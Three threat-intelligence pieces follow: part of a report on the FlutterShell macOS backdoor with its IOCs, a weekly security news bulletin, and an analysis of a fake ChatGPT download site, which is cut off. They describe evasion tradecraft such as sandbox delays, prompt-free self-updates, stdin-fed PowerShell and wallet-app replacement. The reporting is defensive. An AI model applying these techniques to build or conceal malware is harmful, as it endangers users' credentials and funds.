two UK-based companies led by Ukrainian nationals with no verifiable professional history or digital identity. We identified an approximate one-year latency between the initial Google Ads registration and the first recorded ad spend. This suggests a maturation strategy, in which the attackers allow a legal entity to age, in order to bypass initial fraud-detection filters. Given the apparent absence of legitimate commercial activity, we assess that these companies were created as a vehicle for this malicious advertising infrastructure. During our research, we saw proof of the attackers' agility in real-time: AdsParkPro LTD's advertisements were entirely removed from the Google Ads Transparency Center on January 19, 2026. Simultaneously, online business records were modified to list the company as dormant. However, just two weeks later, the actor re-emerged with a new FlutterShell variant, promoted via another verified advertiser, Advantage Web Marketing LLC. Advantage Web Marketing LLC has been observed not only spreading malicious advertisements but also acting as the signatory for Windows adware variants associated with the CL-CRI-1089 cluster. This suggests that the other identified shell entities (AdsParkPro LTD and SOFT WE ART LIMITED) could also be leveraged in the future to sign malicious binaries. Despite the scale and reach of the campaign, the attackers exhibited poor attention to detail in their creative assets. Many advertisements used nonsensical or poorly translated content and generic unpolished visuals. We also observed several instances of cross-contamination, where the actor inadvertently linked the logo of a previous malicious product with the current masqueraded application. Figure 11 shows that PodcastsLounge advertisements display graphics relating to a PDF viewer. The targeting strategy of the advertisements is broad, but deliberate. While most ads were accessible globally, we identified specific geographic clusters where the actor focused their budget. These included Western European markets (notably France and Germany) and English-speaking regions, including the U.S., Canada and Australia. We identified multiple infected hosts targeted by this threat from correlating regions. This section details the connection between FlutterShell and the two Windows malware strains operated by the attackers behind CL-CRI-1089, and the strong links between FlutterShell and its predecessor JSCoreRunner. This relationship is evident across their infrastructure, architecture and operational behavior. By pivoting on infrastructure related to the ad-filled intermediary site used in the FlutterShell campaign, we linked the current macOS campaign to two Windows malware strains: RecipeLister and Calendaromatic. Both of these strains were distributed via malvertising campaigns, and are tracked as part of the CL-CRI-1089 cluster of activity. High traffic rankings for these related domains indicate a wide distribution of the adware. Calendaromatic and RecipeLister also share technical similarities with FlutterShell, including a WebView-based code architecture that allows dynamic payload changes. In the case of the RecipeLister and Calendaromatic malware strains, the actor encoded content within hidden characters or date synonyms. In FlutterShell, the attacker directly embedded the commands in the website’s content. All of the malicious applications hijack the victim's browser, redirecting it to similarly structured websites, which present the user with icons linked to well-known brands. When looking into RecipeLister, we found yet another shell entity responsible for spreading malicious adware — SOFT WE ART LIMITED. This company shares commonalities with other shell companies tied to Operation FlutterBridge: a UK-based entity with one Ukrainian member of personnel who could not be traced to any known real employees. The company’s current website remains active, and shares content and phrasing similarities with AdsParkPro LTD’s previous digital footprint, which has transitioned across three distinct domains since 2024. In addition to its connection with Windows-based campaigns, our analysis identified significant links between FlutterShell and the previously documented JSCoreRunner (also known as FileRipple). As mentioned in a report by Moonlock Labs, JSCoreRunner was also distributed by the same verified publisher — AdsParkPro LTD. This shared distribution point is the first key indicator that the campaigns are connected. Furthermore, the technical characteristics of both strains confirm a shared origin; they both utilize a specialized JavaScript-to-native bridge and exhibit clear similarities in command structure and functionality. These similarities are discussed in further detail in Appendix B. Figure 12 shows an example of a Cortex XDR alert that successfully flagged FlutterShell activity by identifying browser hijacking activity similar to its predecessor, JSCoreRunner. The evolution from JSCoreRunner to FlutterShell represents a significant increase in technical depth for the attackers behind CL-CRI-1089. By transitioning to the Flutter framework and adopting a dynamic, WebView-based architecture, the attackers have effectively separated their malicious logic from the binary. This shift not only complicates static analysis, but allows the attackers to modify the malware's behavior on the fly, turning what appears to be a nuisance adware strain into a fully functional backdoor. Furthermore, the scale of the distribution network, coupled with the verified shell entities used to bypass ad-network vetting, highlights the persistent danger of malvertising. The coordination of multiple shell entities, and the rapid development and delivery of new FlutterShell variants, indicates that this campaign is far from over. Up until late March, we continued to witness the distribution of FlutterBridge malware variants. As the attackers behind CL-CRI-1089 continue to refine their JavaScript-to-native bridge techniques, we expect to see this architecture deployed in future campaigns targeting both macOS and Windows environments. The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of indicators associated with this malware. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. The mitigation methods implement malware protection based on the different operating systems – Windows, macOS and Linux. Cortex’s AgentiX Agentic Assistant streamlined the investigation by allowing the team to query the data using natural language, providing deeper context and insights, and suggesting clear recommendations on what should be done next. Figure 13 shows the AgentiX interface when finding processes that communicate with a malicious domain used in the FlutterBridge operation. SHA256 Hashes of Malicious Files From FlutterShell Activity (PodcastsLounge) Hash: 021666417de8b9972c179783fe60d4c4ad2d93224e3a0f16137065c960b1b845 File name: PodcastsLounge.dmg File description: Disk Image (DMG) installer for the malicious PodcastsLounge application Hash: 363923500ce942bf1a953e8a4e943fbf1fb1b5ed6e5d247964c345b3ad5bfc34 File name: podcasts_lounge.app Bundle ID: com.app.podcastsLounge Developer ID: Yasar Sever (UBZDAAV97Y) File description: Main application executable for PodcastsLounge Hash: 8421c902364980e3d762ec6dbbe6b0f40577c27bd79b48c57d098328b2533109 File description: Dynamic library (dylib) associated with the PodcastsLounge application SHA256 Hashes of Malicious Files From FlutterShell Activity (PDF-Brain) Hash: 644fc49fa1006a2a2acace694e5fb83753164e2617051ece6d9dc9ea32329e70 File name: PDF-Brain.dmg File description: Disk Image (DMG) installer for the malicious PDF-Brain application. Hash: 9053e8ddaecca1f960c041c944ca8799fc71dc86a4b50d2639ee4e0d2cb82f47 File name: PDF-Brain.app Bundle ID: com.app.pdfBrain Developer ID: Batuhan Dabag (FW9NHQ8922) File description: Main application executable for PDF-Brain Hash: b60074d1ea2008a581f432f2dee5f84f78668d9dd8e66f75d03c42dabd89bdea File description: Dynamic library (dylib) associated with the PDF-Brain application. SHA256 Hashes of Malicious Files From FlutterShell Activity (PDF-Ninja) Hash: 9425e8e39fa8a7212cdd07f0917cb3dfde38a90b87297de2c82a5850aff1e4de File name: PDF-Ninja.dmg File description: Disk Image (DMG) installer for the malicious PDF-Ninja application Hash: 30448686ec900d5213d74f08f0d2b7924c5336a29445b2a434aba8d8b19d7530 File name: PDF-Ninja.app Bundle ID: com.pdfninja.app Developer ID: Yusuf Bal (B73CHZ24Y8) File description: Main application executable for PDF-Ninja Hash: 48047c34bbd57fe1e24bc538bc2ce9e0ac4c4eb48d3b0c195b414f0379dc0745 File description: Dynamic library (dylib) associated with the PDF-Ninja application Infrastructure and C2 Traffic URL: hxxps[:]//atsheisdomestic[.]org/update-thanks.html Domain: atsheisdomestic[.]org Description: PodcastsLounge C2 URL: hxxps[:]//etoftheappyrince[.]org/update-delay Domain: etoftheappyrince[.]org Description: PDF-Brain C2 URL: hxxps[:]//healightejustb[.]org/checkupdateTO.js Domain: healightejustb[.]org Description: PDF-Ninja C2 Domain: sinterfumesco[.]com Description: Adware site Actor-Related Websites Domain: ads-parkpro[.]com Description: Website previously associated with AdsParkPro LTD Domain: adsparkpro[.]top Description: Website previously associated with AdsParkPro LTD Domain: adsparkpro[.]net Description: Website previously associated with AdsParkPro LTD Domain: softwe[.]art Description: Website associated with SOFT WE ART RecipeLister: A Recipe for Disaster – BlueVoyant Dart Client-Optimized Language – dart.dev Flutter Open-Source Framework – flutter.dev B(l)utter Flutter Mobile Application Reverse Engineering Tool – GitHub What is Malvertising – Imperva Widespread Installation of Calendaromatic Adware Includes Homoglyph Channel – Kroll Browser Hijackers – Malwarebytes New Malware JSCoreRunner is Spreading via Fake PDF converters – Moonlock Labs Mosyle Identifies New Mac Malware That Evades Detection Through Fake PDF Conversion Tool – Mosyle Intelligence Insights: October 2025 – Red Canary When Your Calendar Wants to Steal Your Tokens: A Look at Calendaromatic – Rabbit Knight, Medium Sparkle Project – sparkle-project.org FlutterShell initiates the WebView and loads the attackers’ website in the following cases: Initial execution: Automatically, following a calculated delay received dynamically from the C2. User Interaction: When the targeted user clicks the About or Update buttons in the application settings. Upon initial execution, FlutterShell waits for a specific duration before contacting the attacker-controlled website. This delay is non-deterministic and is calculated during the application's startup routine: Immediately after launch, FlutterShell sends an HTTP GET request to [attacker_domain]/api/update-delay to fetch the delay duration in seconds. If this endpoint is unreachable, the malware defaults to a 600 second (10 minute) delay. If the server responds, but the delay field is null, it defaults to a 1200 second (20 minute) delay. Once the timer expires, FlutterShell forces the application to the foreground and presents the webpage [attacker_domain]/update-thanks.html. This calculated delay suggests a deliberate strategy to evade automated sandbox environments, which typically time out within a few minutes. Simultaneously, it builds user trust by maintaining a period of “normal” application behavior before the malicious window appears. If the user clicks the About or Update buttons in the application settings, FlutterShell loads the attackers’ main website page or the update-thanks.html page, respectively. In both scenarios, the loaded webpages contain JavaScript code that executes immediately upon loading. The FlutterShell backdoor uses the Sparkle software update framework for macOS applications in its update mechanism. However, it significantly deviates from the standard Sparkle protocol, to avoid detection. In a legitimate implementation, once Sparkle finishes downloading an update to the cache, it triggers a user interface (UI) prompt, such as “A new version is available. Install and Relaunch?”. The update process halts here until the user manually clicks the button to approve the restart. To bypass this user interaction, FlutterShell interrupts the flow the moment the download completes. Our analysis of this sequence reveals the following flow: Callback reception: The malware listens for the update completion signal in the function SparkleUpdateService:_handleMethodCall() marked as the string onUpdateCycleFinished from the native macOS layer. Installation verification: If the update completed without errors, the code checks for the existence of the Sparkle installation directory: $HOME/Library/Caches/com.app.[appname]/org.sparkle-project.Sparkle/Installation/. Manual execution: Rather than waiting for the user to authorize the install, the malware programmatically executes the open command on the staged app bundle found in the cache. Forced termination: It immediately executes dart:io exit(), killing the old running process instantly. This sequence effectively “swaps”" the malware version in real time, without ever showing a dialog box. This ensures that the updated malware begins running without any UI interaction, allowing the attackers to upgrade the backdoor's capabilities silently. FlutterShell’s built-in commands provide full backdoor capabilities, allowing the attackers to execute shell commands and manipulate files on the system. Table 2 lists the commands and capabilities of FlutterShell found collectively within the three identified variants — PodcastsLounge, PDF-Brain and PDF-Ninja. Table 2. An example of FlutterShell’s backdoor capabilities. We also saw that some variants of FlutterShell have the com.apple.security.files.downloads.read-write macOS entitlement, which gives the malware the capability to read and write to files in the user’s Downloads directory. The architectural fingerprints of both JSCoreRunner and FlutterShell malware families are nearly indistinguishable. Both rely on a specialized JavaScript-to-native bridge, using JavaScript as a high-level conductor to trigger low-level system operations. The most compelling evidence of a shared lineage is the backdoor primitives. We found a set of six identical core commands embedded in both JSCoreRunner and FlutterShell, as Table 3 shows. Table 3. Function name comparison between JSCoreRunner and FlutterShell. Operationally, the campaign objectives remain consistent. Both have been observed primarily as browser hijackers, with a specific focus on compromising Google Chrome installations to inject ads or scrape sensitive session data. While the fundamental architecture is the same, FlutterShell represents a significant tactical evolution over JSCoreRunner. The primary shift lies in their different payload delivery methods — while JSCoreRunner’s logic is embedded statically in the binary, FlutterShell’s logic is received dynamically from the C2 server at runtime. This shift has significant implications for detection and response. Dynamic delivery means attackers can decouple the binary from its logic by updating their logic without needing to recompile the application. In addition, dynamic content delivery allows the attacker to use geofencing and avoid certain regions and entities to download the malware’s payload, thus hindering analysis even more.
unit42.paloaltonetworks.comJun 2, 2026extracted
ThreatsDay Bulletin: Claude Security Plugin, Azure Priv-Esc, Kali365 MFA Bypass, FIFA Scams +15 More
Every time you think the industry has finally stopped doing some reckless, low-effort crap, somebody spins up a fresh box full of sketchy loaders, fake installers, recycled social-engineering bait, and enough exposed infrastructure to make you wonder if prod is just a public beta now - meanwhile some researcher casually drops a technique that turns a "minor" foothold into total account compromise because apparently six digits and blind trust were all that stood between your vault and getting absolutely pwned. Cool. Great. Love that for us. Then there's the supply chain mess... signed binaries, poisoned updates, legit tooling getting hijacked like it's still 2017, plus a few reports this week that feel less like advanced tradecraft and more like watching skiddies discover low-hanging fruit with enterprise branding slapped on top. The weird part isn't that it works. The weird part is how damn easy it still is. Anyway. Grab caffeine. Let's get into it. Massive regional C2 footprintHunt.io said it identified more than 1,350 command-and-control (C2) servers across 98 Middle East infrastructure providers over the past three months, between February 1 and May 1, 2026. "C2 infrastructure dominates malicious activity (~96.8%), far exceeding phishing infrastructure (~0.5%) and publicly reported IOCs (~0.5%), while malicious open directories account for the remaining ~2.2% of observed artifacts," it said. "Saudi Arabia's STC (Saudi Telecom Company) hosts 981 C2 servers, representing 72.4% of all detected C2 infrastructure in the region. IoT-focused botnets (Hajime, Mozi, and Mirai) combined with offensive frameworks (Tactical RMM, Cobalt Strike, Sliver) represent the dominant malware families operating across Middle Eastern infrastructure." AKS privilege escalation flawMicrosoft is said to have silently fixed a privilege escalation flaw in Azure Backup for AKS that allowed a user with only the "Backup Contributor" Azure role (zero Kubernetes permissions) to gain cluster-admin on any AKS cluster, per security researcher Justin O'Leary. The vulnerability, which does not have a CVE, carries a CVSS score of 9.9. While Microsoft rejected the vulnerability report as "AI-generated content," it appears to have been patched since, and additional validation checks were enforced that did not exist in March 2026. Cybercrime operator jailedA 46-year-old Romanian national found guilty of breaking into an Oregon state government office in 2021 and other cyber attacks across the U.S. has been sentenced to 56 months in prison. Catalin Dragomir pleaded guilty to one count of aggravated identity theft and one count of obtaining information from a protected computer in February. Dragomir was arrested in Romania in November 2024 and extradited to the U.S. in January 2025 to face charges. Dragomir "sold access to a computer on the network of an Oregon state government office after obtaining unauthorized access to it in June of 2021," the Justice Department said. "During the sale, Dragomir provided the prospective buyer with samples of personal identifying information from the computer. He also sold access to the computer networks of numerous other victims in the United States, causing losses of at least $250,000." DAEMON Tools added to KEVThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added the supply chain attack targeting DAEMON Tools software to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply necessary fixes by May 30, 2026. The incident is now being tracked under the identifier CVE-2026-8398 (CVSS v4 score: 9.3). "Attackers gained unauthorized access to the vendor's (AVB Disc Soft) build or distribution infrastructure and trojanized three binaries: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe," according to the description of the CVE. "These files were digitally signed with the legitimate AVB Disc Soft code-signing certificate, allowing the malicious installers to appear trustworthy and bypass signature-based detection." Apple unveils PQC codeApple has published its post-quantum cryptography (PQC) implementations in corecrypto, including quantum-secure ML-KEM and ML-DSA algorithms, along with mathematical verification tools that it built to assure compliance with FIPS 203 and FIPS 204 specifications for independent evaluation by experts. "Corecrypto is used continuously in our products, providing encryption and decryption, hashing, random number generation, and digital signatures on over 2.5 billion active devices," Apple said. "A critical bug in corecrypto has the potential to compromise the security and reliability of every app and feature that depends on it, so we are conservative when adding new code to the library and make exceptional efforts to be comprehensive in our testing." Law firms targeted by SRGThe U.S. Federal Bureau of Investigation (FBI) has warned that the threat actor known as the Silent Ransom Group (SRG), also known as Luna Moth, Chatty Spider, and UNC3753, has been targeting law firms using social engineering techniques as part of fresh attacks since spring 2026. Law firms are a rich target due to the highly sensitive nature of the data they possess. "Through phone calls and phishing emails, SRG actors pose as IT support to establish access to victim computers and exfiltrate data, usually through legitimate remote access tools or by sending an individual in-person to the victim company's location to gain physical access to computers," the FBI said. "While SRG has victimized companies in many sectors, including those in the insurance, finance, and healthcare industries, the group has consistently targeted U.S.-based law firms since Spring 2023." As part of the scheme involving in-person visits, the threat actor tells the victim they need to image the device or create a backup file to address potential impacts from the phishing email. Upon gaining a foothold, the attackers move swiftly to escalate privileges and pivot to data exfiltration without encryption. "By sending someone in-person to the victim's location to facilitate the intrusion, SRG actors exfiltrate data to an external hard drive or USB drive inserted by the threat actor into the victim's computer," the FBI added. Fake installers spread Deno RATAttackers are hosting counterfeit installers and plugins masquerading as popular software, including ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune, and Kontakt, on GitHub and SourceForge to distribute a Deno backdoor known as DinDoor (aka Tsundere). "Attackers are using compromised YouTube channels to distribute links to these platforms," Malwarebytes said. "DinDoor ultimately drops different types of malware, including a stealthy remote access Trojan (RAT), which also uses the Deno JavaScript runtime." PureLogs phishing waveA phishing campaign is using deceptive emails disguised as purchase orders to trick recipients into opening malicious JavaScript files contained within RAR archives that lead to the deployment of a PureLogs variant to steal sensitive data from the victim's device. "Upon analyzing the PureLogs module, the malware's primary capability is to collect sensitive data from the victim's system, including basic hardware and system information, saved credentials, cryptocurrency-related data, and more," Fortinet said. "The malware then compresses and encrypts the collected data before transmitting it to the C2 server." U.K. targets crypto sanctions evasionThe U.K. has announced sanctions against cryptocurrency exchanges and the A7 network used by Russia to evade existing restrictions. Among those hit by sanctions is HTX (aka Huobi Global), which is one of the largest cryptoasset exchanges in the world, with $3.3 trillion in trading volume in 2025. "It is suspected of providing services to A7, the sanctioned Russian payments network, and Garantex, the sanctioned cryptocurrency exchange," Elliptic said. It's worth noting that the A7 corporate-and-token infrastructure emerged in the wake of the March 2025 Garantex takedown. Per data from TRM Labs, Huobi has sent more than $4.9 billion in direct on-chain transactions to U.K.-sanctioned and A7-network entities since 2021. Other entities hit by sanctions include Bitpapa and Rapira Group, the latter of which has transacted $375.6 million with Garantex's named successor Grinex.io. Claude gains built-in code reviewAnthropic has announced two new security features for its Claude AI: a self-hosted sandbox for Claude Managed Agents and a new security-guidance plugin. "The security guidance plugin makes Claude review its own code changes for common vulnerabilities while it works and fixes what it finds in the same session," Anthropic said. "The plugin catches issues such as injection, unsafe deserialization, and unsafe DOM APIs before the code reaches a pull request, reducing how much security review falls to human reviewers downstream. Once installed, the plugin runs automatically. There is nothing to invoke and no separate command to remember." As described by Red Hat, a self-hosted sandbox "outsources the 'thinking' while keeping the 'doing' on your own infrastructure." DACH cyberattacks jump 124%Data from Check Point has revealed that hacktivism and ransomware targeting organizations across Germany, Austria, and Switzerland increased 124% in 2025. More than 60% of the hacktivist incidents have involved defacing websites to amplify political messaging. These efforts originated from NoName057(16), Mr Hamza, chinafans, Dark Storm Team, and Hezi Rash. Ransomware attacks, on the other hand, were mainly led by Akira, Qilin, and Safepay. "Germany accounted for more than 80% of regional incidents, with Switzerland at 12% and Austria at 8%," Check Point said. "Across Europe, the DACH region represented 18% of all recorded attacks, placing Germany above France, Spain, and Italy by individual country share." World Cup scams explode onlineThreat actors are increasingly capitalizing on the public excitement around the FIFA World Cup 2026 for scam campaigns. Bitdefender said it has identified more than 55 football-related malvertising campaigns targeting users through fake online stores, social media ads, IPTV piracy operations, fraudulent football apps, and FIFA-themed giveaway and lottery scams distributed through email. "The most-targeted users were in the United Kingdom, Portugal, Spain, Algeria, the United States, Canada, Mexico, Belgium, Germany, Brazil, and Australia," the Romanian company said. Check Point said bad actors are "flooding the internet" with fake merchandise stores, fraudulent betting platforms, and phishing domains designed to steal personal data and money. Host nations of the sporting event, Canada, Mexico, and the U.S., have also recorded an increase in the weekly average number of cyber-attacks per organization in April 2026, with Mexico registering a weekly average of 3,548 cyber attacks per organization. Group-IB said it uncovered six distinct fraud schemes and over 4,300 fraudulent domains impersonating FIFA's official web presence. This includes a sophisticated phishing campaign conducted by a Chinese-speaking, financially motivated operator called GHOST STADIUM that involves using more than 300 domains using a shared phishing kit that exploits FIFA's PingIdentity SSO login flow to harvest credentials and conduct fake ticket sales and payment fraud at scale. "GHOST STADIUM has built a pixel-perfect clone of the official FIFA website, complete with a replicated single sign-on (SSO) authentication flow, and multi-language support in 11 languages," Group-IB said. "Facebook Ads serves as the primary paid traffic acquisition channel for the GHOST STADIUM campaign." Chrome extensions harvest WhatsApp dataCybersecurity researchers have uncovered a 126-extension Chrome Web Store extension network dubbed WaSteal that masquerades as independent WhatsApp CRM tools while exfiltrating user personal data, advertising cookies, and voice messages to operator-controlled servers, affecting nearly 148,000 users. According to researcher Jean-Marie R., the network is operated by wascript.com.br, which operates a white-label platform. "The largest variant (WaSeller, 100k installs) embeds a live GTM container giving its operator silent, permanent remote code execution with no extension update or Chrome review required," the researcher said. "The operator's own privacy policy directly contradicts every behavior documented." GhostTree breaks endpoint scanningA new technique named GhostTree abuses NTFS junctions to generate infinite file paths, causing endpoint security products to hang and leave files unscanned. "We discovered that by pointing a junction back at its own parent directory, an attacker can create recursive loops that generate effectively infinite file paths," Varonis said. "With just two lines of code, a user can generate endless valid paths, making it impossible to finish scanning parent directories with the dir command recursively. The same applies to EDR products that scan folders for malicious files. An attacker places malware in the parent directory, sets up the GhostTree structure, and the containing folder becomes effectively unscannable. The scan hangs. The malicious files go unexamined." Kali365 targets Microsoft 365An emerging Phishing-as-a-Service (PhaaS) platform called Kali365, first observed in April 2026, has been targeting Microsoft 365 environments. "Kali365 has primarily been distributed via Telegram, enabling cyber threat actors to obtain Microsoft 365 access tokens and bypass multi-factor authentication (MFA) protocols without intercepting the user's credentials," the FBI said. "Through the Kali365 platform subscription, cyber threat actors can capture 'OAuth' tokens and gain persistent access to targeted individuals/entities' Microsoft 365 environments." Like other PhaaS platforms, Kali365 risks lowering the barrier of entry to cybercrime, offering less-technical attackers access to artificial intelligence (AI)-generated phishing lures, automated campaign templates, real-time targeted individual/entity tracking dashboards, and OAuth token capture capabilities. Kali365 is available to affiliates on a subscription basis, ranging from $250 for 30 days to $2,000 for a year. In a report published last month, Arctic Wolf said it observed a device code phishing campaign using Kali365 to obtain initial access and conduct follow-on activity. "The campaign relied on high-fidelity lures directing victims to Microsoft's legitimate device login flow, where users unknowingly authorized threat actor-initiated sessions," the company said. "Captured OAuth access and refresh tokens enabled immediate mailbox access and post-compromise activity. In select cases, threat actors established malicious inbox rules to suppress security notifications, extending dwell time and reducing user awareness." Barracuda Networks and Proofpoint have also warned of a spike in device code phishing campaigns in recent months. Barracuda said it detected more than 7 million device code attacks between March and April 2026. "The surge of device code phishing is the natural progression of credential phishing, as more people become aware of multi-factor authentication bypass techniques, criminals must get creative," Proofpoint noted. Vaultjacking targets Google passwordsPhishU has detailed a new technique called Vaultjacking, which demonstrates how a victim's 6-digit Google Password Manager (GPM) PIN captured via an adversary-in-the-middle (AitM) phishing page can be used to decrypt the entire synced GPM vault. "That single PIN releases Google's Security Domain Secret, which decrypts every synced password and passkey on the account -- not just the credential being registered, the entire vault," Curtis Brazzell, PhishU Flounder and CEO, said in a statement. Once the AitM page harvests the user's session cookies and GPM PIN, a threat actor can add a passkey to the victim's Google account for persistence and then unlock the victim's entire synced credential vault from their own infrastructure. Signed RVTools trojan spreads RATA trojanized MSI installer for RVTools is being used to deploy a modular Python-based remote access trojan (RAT) using a VBScript loader. The malware includes a reconnaissance module that fingerprints the host and maps out Active Directory and a persistent command-and-control (C2) agent that encrypts stolen data and waits for operator commands. "What made this campaign particularly effective was the use of a legitimately issued Sectigo code-signing certificate, registered under what appears to be a shell entity - Xiamen Lunwei Huage Network Co.(Sectigo), Ltd," K7 Labs said. "At the time of delivery, the certificate was fully valid, meaning Windows SmartScreen and most endpoint controls raised no flags. It has since been revoked, though it offers limited protection to environments not enforcing real-time OCSP or CRL checks at execution time." None of this was especially sophisticated. That's the lesson nobody wants to hear. Most breaches still start with trust abuse, stale configs, lazy access controls, or users getting socially engineered by someone sounding vaguely competent over the phone. Patch faster. Audit harder. Stop assuming signed software, MFA prompts, or "internal-only" tooling means safe. The attackers already figured out the shortcuts. Might be time defenders stop pretending those shortcuts don't exist.
thehackernews.comMay 28, 2026extracted
Fake ChatGPT download site infects Windows and Mac users with malware
A convincing fake website is impersonating OpenAI’s ChatGPT download page and infecting visitors with malware designed to steal passwords, browser data, cryptocurrency wallets, and other sensitive information. The site, openew[.]app, closely mimics OpenAI’s real ChatGPT download experience and offers what appear to be official desktop apps for both Windows and macOS. Instead, Windows users receive a credential-stealing malware loader, while Mac users get Odyssey Stealer, a fork of Atomic Stealer (AMOS), a well-known macOS malware family associated with cryptocurrency theft. The dual-platform setup is what makes the operation notable. Clicking the Windows download delivers a fake installer that opens a back channel to an attacker-controlled server. Clicking the macOS button delivers malware that steals browser passwords, cookies, Telegram sessions, cryptocurrency wallets, and other sensitive files. It also attempts to replace legitimate Ledger and Trezor wallet apps with trojanized versions. If you only download ChatGPT from OpenAI’s official download page or the Microsoft Store, you were not the target here. But if you searched for “ChatGPT download” and clicked an ad or unfamiliar result, you may have given attackers access to your online accounts, browser sessions, saved passwords, and potentially your cryptocurrency holdings. Malwarebytes protects users from this malware. Technical analysis The domain, openew[.]app, closely resembles OpenAI’s real ChatGPT download experience. It uses a dark theme, OpenAI-style branding, familiar marketing copy, and prominent download buttons for macOS and Windows. The .app top-level domain is operated by Google and requires HTTPS connections, meaning browsers display the familiar padlock icon without obvious certificate warnings. The most important detail is the dual-platform setup. Real software vendors provide separate installers for Windows and macOS, and this fake site does exactly the same thing. Clicking the Windows button delivers Chat_GPT.exe, while clicking the macOS button downloads a disk image containing ChatGpt.dmg. The Windows malware Chat_GPT.exe is built almost entirely from off-the-shelf parts. The installer uses Inno Setup, a free open-source toolkit used by thousands of legitimate Windows products. Inside is an Electron application skeleton—the same Chromium-based framework used by apps like Slack and Discord—bundled with standard support libraries publicly available from the Electron project. When the victim runs the installer, it creates files under %APPDATA%\LeronApplication, launches EApp.exe, and spawns PowerShell with the flags -ExecutionPolicy Unrestricted -Command -. The trailing dash tells PowerShell to read commands from standard input, meaning the malicious instructions never touch the disk where scanners might detect them. Behavioral telemetry recorded HTTP traffic to 188.137.246.189 using a /laravel.php?api=api&hash=...&message=... endpoint, alongside injection-like activity and service/autorun persistence signals. Nine of 69 antivirus engines flagged the file as malicious at the time of analysis. The persistence evidence is better read as behavioral tradecraft than proof of a durable install, but the overall pattern is familiar commodity stealer/dropper territory: cheap, modular, and effective rather than technically novel. The macOS malware: Odyssey Stealer (an AMOS fork) The macOS payload sits at the premium end of the commodity-malware market. It’s Odyssey, which is a fork of the renowned AMOS, a malware-as-a-service platform documented since 2023. The identification is fairly clear-cut. The sandboxed sample matches documented Odyssey behavior patterns, which are inherited from its AMOS lineage: a long AppleScript chain passed to the macOS scripting engine, a silent password validation attempt using macOS directory-service commands, and, if that silent check fails, a fake macOS-style prompt reading “Please enter device password to continue,” complete with the familiar lock icon. Whatever the user types is validated against the same command. If it matches, the malware captures the user’s login password in cleartext. From there, it follows a familiar Odyssey/AMOS-fork playbook. It copies the macOS keychain, harvests cookies and saved logins from 12 Chromium-based browsers plus Firefox and Waterfox, and extracts Telegram session data. It also scans 16 cryptocurrency wallet directories, including Ledger Live, Trezor Suite, Exodus, Electrum, and Sparrow. Finally, it searches Desktop and Documents folders for files with extensions like .wallet, .seed, .key, and .kdbx. The collected data is compressed into a temporary archive and sent to a hardcoded server. The wallet replacement feature is especially dangerous There’s one more part of the macOS payload, and it’s likely the feature that justifies the price tag. After the initial data theft, the script downloads trojanized versions of Ledger Live, Ledger Wallet, and Trezor Suite from a second server. It then attempts to delete the legitimate wallet apps and replace them with the attacker’s versions. If the user’s password was captured earlier in the attack chain, the script uses sudo to force the replacement. If not, it falls back to a standard rm -rf deletion attempt, which can still succeed if the apps are installed in a user-writable location. Either way, the next time the victim opens what appears to be their wallet software, they may actually be launching the attacker’s replacement. This wallet-replacement behavior is a hallmark of the Poseidon/Odyssey branch of the AMOS family and makes cryptocurrency theft the most likely goal. What the operation cost to build This is where the AI angle becomes interesting, because the Windows and macOS sides of the operation sit at very different price points. The domain openew.app probably cost the operators around $15 a year through a normal registrar. The .app domain requires HTTPS by default, making it easy for operators to present the reassuring browser padlock users associate with legitimate websites. The landing page itself is simply a copy of OpenAI’s real download page, something modern cloning tools can reproduce in minutes. On the Windows side, most of the tools are cheap or free. Inno Setup is free. Electron is free. The Chromium support files are public downloads. The server infrastructure appears to rely on low-cost commodity malware tooling and a basic VPS that could cost only a few dollars a month. Altogether, the Windows side of this operation could plausibly have cost under $100 to set up initially. The macOS side is very different. Odyssey has reportedly rented for around $3,000 per month, paid in cryptocurrency. By comparison, Lumma—a popular Windows infostealer often treated as a similar product—has historically advertised entry tiers around $250 per month. That price gap says a lot. The operators clearly believe a successful Mac infection is worth much more money than a typical Windows infection. The likely reason is simple: Odyssey is designed specifically for cryptocurrency theft, including the wallet-replacement behavior seen in this campaign. The operators are betting that a meaningful number of Mac users hold cryptocurrency. Getting victims to the site is probably the only major ongoing cost, and that’s where the AI branding becomes valuable. Search ads, SEO poisoning, YouTube spam, and links shared in AI-focused Discord and Telegram communities can all drive traffic to fake download pages. Some of those channels cost money. Others are almost free. Why attackers are going after AI brands Most established software already has trusted download habits built around it. If you want Chrome, you probably know to go to Google. If you want Photoshop, you go to Adobe. People already know where the real download lives. AI tools are different because most users are still installing them for the first time, and that means relying on search results, ads, YouTube links, or social posts to find the download page. That creates an ideal environment for fake sites. Over the last two years, products like ChatGPT, Claude, Gemini, Sora, DeepSeek, Antigravity, and many others have launched or changed rapidly. Every new release creates another wave of users searching for “download ChatGPT” or “install Claude” without knowing the official URL. That search traffic is exactly where attackers set up shop. The fake pages also do not need to be especially sophisticated because legitimate AI product pages are already minimal by design: a modern layout, a logo, and a large download button. Openew[.]app matches what users expect to see. There is no broken English or aggressive pop-ups here, just identical branding, copy, and the reassuring browser padlock. What makes this kind of operation durable is how easily it can rotate brands. When the ChatGPT lure stops attracting clicks, the operators can reuse the same infrastructure around the next trending AI product. The malware behind the download button stays the same. Only the branding changes. What AI vendors could do Most major AI vendors, including OpenAI, already provide official download channels. The problem is visibility and user habit. Many users still search for “ChatGPT download,” where results can include official links, unofficial mirrors, and outright malicious sites. Large consumer brands and banks often run aggressive brand-protection campaigns against fake ads and impersonation domains. AI vendors may need to do the same more consistently. The other issue is discoverability. Official desktop-app links are often buried in settings menus or sidebars, while search engines are faster and more obvious. That’s exactly where the fake download sites are waiting. What to do if you may have installed the fake app If you recently installed something claiming to be ChatGPT from anywhere other than OpenAI’s official download page or the Microsoft Store, you may have been affected. From a different, clean device: Sign out of your important accounts using each service’s “sign out everywhere” option. This includes email, banking, cloud storage, GitHub, Discord, Telegram, and cryptocurrency exchanges. Change passwords starting with your primary email account. Rotate any API keys, SSH keys, and cloud credentials stored on the affected machine. If you hold 